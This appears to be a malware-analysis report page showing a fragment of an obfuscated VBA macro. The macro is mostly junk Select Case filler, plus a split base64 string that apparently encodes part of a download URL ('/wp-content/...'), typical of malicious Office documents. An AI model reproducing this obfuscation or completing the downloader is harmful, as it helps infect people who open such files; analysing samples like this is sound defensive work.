         t22__126 = E_9375__
      Case 868132201
         v36_176 = 905747578
         v_85998 = i45_656
   End Select
Q1_7454 = "cAK" + "wAnAC" + "8Adw" + "BwAC0A" + "YwBv" + "AG4Ad" + "ABlAG" + "4AdAAv" + "ADMAT"
s933_42 = 292834239 - 525775990
   V124_433 = 952912394 + s__048
  Select Case U3_516
      Case 803545248
         a7_7765 = Chr(4988308 * Tan(N1_8530_))
         I_8_85 = n1_2__9
      Case 462449088
         T6007931 = h250734
         z_30_4_2 = z____6
      Case 935260105
         a_9792_ = 652859509
         h97287 = k_6_81
   End Select
      i8534_ = 747174931 - 234177164
   V_669_3_ = 811998243 + j_6_72_
  Select Case f9_9___5
      Case 210539705
         f_97308 = Chr(767617562 * Tan(p__0_8))
         o__845 = q803_0
      Case 705673491
         p5___834 = r___7_17
         D959__1 = N314_3
      Case 174319858
         A505981 = 282819135
         L6_371_3 = n_8115
   End Select
      s7_315 = 892922437 - 654854932
   n_93140 = 973666095 + o__4_92
  Select Case C_18_9
      Case 513283906
         s_12__ = Chr(355254143 * Tan(z_919386))
         i673_63_ = r97_92
      Case 571633046
         t__39330 = s_67__
         h209496 = P_689_0
      Case 269360678
         K___038_ = 231806285
…

Open this report in the interactive analyzer, or submit your own file for analysis.